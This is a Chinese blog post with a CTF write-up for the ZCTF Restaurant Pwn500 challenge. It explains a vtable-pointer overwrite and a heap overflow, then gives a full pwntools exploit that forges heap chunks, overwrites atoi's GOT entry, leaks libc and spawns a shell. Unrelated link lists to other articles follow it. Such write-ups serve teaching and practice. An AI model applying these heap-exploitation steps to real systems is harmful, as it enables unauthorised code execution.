ZCTF-Restaurant-Pwn500
版权声明:本文为博主原创文章,未经博主允许不得转载。
这道压轴的题也是名副其实,很有分量。这也是自己第二次做C++类型的PWN。含有两个漏洞,缺一不可,一个漏洞将指定位置覆盖为对象虚表的地址,另外一个漏洞用来堆溢出(DW-Shoot)。
第一个漏洞所在位置:
第二个漏洞所在位置:如果连续对一种食物编辑评论,第二次则可以8字节的溢出,覆盖下一个堆块的堆头。
由于堆块在分配时的对齐策略,堆块分配后可以使用的内存可能比申请的要大。这道题目中,主食/主菜/汤都有3个种类,只有同时能选中主食的第二种,主菜的第二种才能溢出,而这个选择是随机的,POC所以并不能每次都成功,我这个POC成功的概率为1/9,其实多试几次就能顺利拿到shell。我大概试了3-4次就拿到了shell。上图:
from pwn import *
import time
#by wangaohui
#context.log_level = 'debug' s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant')[0])
raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('you are the luckey ')
heap = int(s.recvuntil('th guest.\n')[:-10])
print 'heapaddr is %x' %heap
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ');
vtp = 0x404710
data = 'a'*10 + '\x00' + 'a'*5 + '\x1c\x47\x40\x00'
s.sendline(data)
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!')
'''
s.recvuntil('8. Finish your order.')
s.sendline('3')
s.recvuntil('Successfully order a staple food, enjoy it!')
''' s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy') fakefd = heap + 0x20
fakebk = heap + 0x28
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') appcom = 'xxx'
tastecom = p64(0x6060A0)#atoi's got
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoiaddr = int(s.recvuntil('\n')[:-1])
print 'atoiaddr is: %x' % atoiaddr
systemaddr = atoiaddr - 0x36360 + 0x414F0
print 'systemaddr is: %x' % systemaddr appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('8. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('8. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive()
ZCTF-Restaurant-Pwn500的更多相关文章
- CodeForces - 261B Maxim and Restaurant
http://codeforces.com/problemset/problem/261/B 题目大意:给定n个数a1-an(n<=50,ai<=50),随机打乱后,记Si=a1+a2+a ...
- Flo's Restaurant[HDU1103]
Flo's Restaurant Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) ...
- Codeforces Testing Round #12 B. Restaurant 贪心
B. Restaurant Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/597/problem ...
- HDU-2368 Alfredo's Pizza Restaurant
http://acm.hdu.edu.cn/status.php Alfredo's Pizza Restaurant Time Limit: 1000/1000 MS (Java/Others) ...
- hdoj 4883 TIANKENG’s restaurant【贪心区间覆盖】
TIANKENG’s restaurant Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 131072/65536 K (Java/O ...
- hdu2368Alfredo's Pizza Restaurant
Problem Description Traditionally after the Local Contest, judges and contestants go to their favour ...
- HDOJ 4883 TIANKENG’s restaurant
称号: TIANKENG's restaurant Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 131072/65536 K (Ja ...
- Restaurant
Restaurant Time Limit:4000MS Memory Limit:262144KB 64bit IO Format:%I64d & %I64u Submit ...
- 九校联考_24OI——餐馆restaurant
凉心模拟D1T1--最简单的一道题 TAT 餐馆(restaurant) 题目背景 铜企鹅是企鹅餐馆的老板,他正在计划如何使得自己本年度收益增加. 题目描述 共有n 种食材,一份食材i 需要花ti 小 ...
- Codeforces828 A. Restaurant Tables
A. Restaurant Tables time limit per test 1 second memory limit per test 256 megabytes input standard ...
随机推荐
- 可清空文本的EditText
代码如下: public class DeleteEditText extends EditText { private Context mContext; //删除图标 private Drawab ...
- Windows8 正式版最简单的去除桌面水印方法
方法一: 优点:无需替换文件,无需任何工具,对系统没有副作用缺点:更换主题或者壁纸之后水印再现方法:按住 “win键+P” 进入 “第二屏幕 ”选择 “扩展”再按住 “win键+P” 进入 “第二屏幕 ...
- oralce中exists not exists in not in对于NULL的处理
1. 先讨论 in 与 not in中存在NULL的情况, sql语句如下: 1 select 1 result1 from dual where 1 not in (2, 3); 2 3 4 s ...
- Oracle中REGEXP_SUBSTR函数(转)
Oracle中REGEXP_SUBSTR函数 Oracle中REGEXP_SUBSTR函数的使用说明: 题目如下:在oracle中,使用一条语句实现将'17,20,23'拆分成'17','20','2 ...
- iOS8中添加的extensions总结(四)——Action扩展
Action扩展 注:此教程来源于http://www.raywenderlich.com的<iOS8 by Tutorials> 1.准备 本次教程利用网站bitly.com进行 bit ...
- C++拾遗(十二)C++代码重用
“has-a”关系 通常有两种方法实现: 1.被包含,本身是另一个类的对象. 2.私有或者保护继承. 主要讨论第二种方法,在继承时使用private关键字(或者不用任何关键字,默认就是私有的). 使用 ...
- M_LROOT,LD_LIBRARY_PATH, “Not all extension Dlls were loaded”问题原因及解决方法(持续更新)
最近在需要在云主机上进行压力测试,所以需要Linux的Agent. 一.安装:教程可以百度,大概步骤如下: 1.Upload Linux.zip to 指定的机器 2.解压,chmod 777 $Li ...
- mysql 索引管理原则
最近在学习mysql的索引优化,结合着我们网盟系统的一些业务,翻阅一些资料,整理出如下的一些想法: 1.索引建立的原则一:最左前缀匹配原则 ,非常重要的原则,mysql会一直向右匹配直到遇到范围查询( ...
- nginx 参数记录
log_format custom '$remote_addr - $remote_user [$time_local] ' '"$request" $status $reques ...
- c++ string类型转换为char *类型
string 是c++标准库里面其中一个,封装了对字符串的操作 把string转换为char* 有3中方法: 1.data 如: string str="abc"; char *p ...